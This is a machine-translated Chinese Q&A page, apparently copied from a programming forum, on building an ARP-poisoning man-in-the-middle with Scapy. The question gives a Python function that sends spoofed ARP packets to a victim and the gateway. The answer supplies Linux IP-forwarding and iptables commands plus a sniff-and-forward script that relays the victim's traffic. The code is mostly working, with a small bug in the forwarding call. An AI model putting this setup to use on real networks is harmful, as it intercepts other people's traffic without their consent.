[英]packet forwarding while ARP poisoning
我想在ARP中毒时制作一个“代理”,它可以与UDP一起使用,如果我将pkt发送给google,则可以使用wirehark在我的电脑上看到它
def trick(gate_mac, victim_mac):
'''Tricks the victim and the gate_way, using arp'''
my_mac=ARP()
my_mac=my_mac.hwsrc
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
print "TRICKED"
那就是我写给arptoxic的功能,现在我想将从受害者的PC获得的所有数据包发送到路由器/,但是我不知道如何进行数据包转发。
您只需激活OS数据包转发即可。 如果您正在运行Linux,则应使用简单的sysctl -w net.ipv4.ip_forward=1
来完成。
您可能还需要让数据包通过防火墙;例如iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT
iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT
应该可以正常工作(如果再次使用Linux)。
在其他操作系统下,您需要了解如何启用数据包转发以及在需要时添加防火墙规则。 如果无法启用数据包转发,则可以运行另一个Scapy脚本为您转发数据包。 这是一个例子:
VICTIM_MAC = "00:01:23:45:67:89"
GATEWAY_MAC = "00:98:76:54:32:10"
_SRC_DST = {
GATEWAY_MAC: VICTIM_MAC,
VICTIM_MAC: GATEWAY_MAC,
}
def forward_pkt(pkt):
pkt[Ether].dst = _SRC_DST.get(pkt[Ether].src, GATEWAY_MAC)
sendp(dst)
sniff(
prn=forward_pkt,
filter="ip and (ether src %s or ether src %s)" % (VICTIM_MAC,
GATEWAY_MAC)
)
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.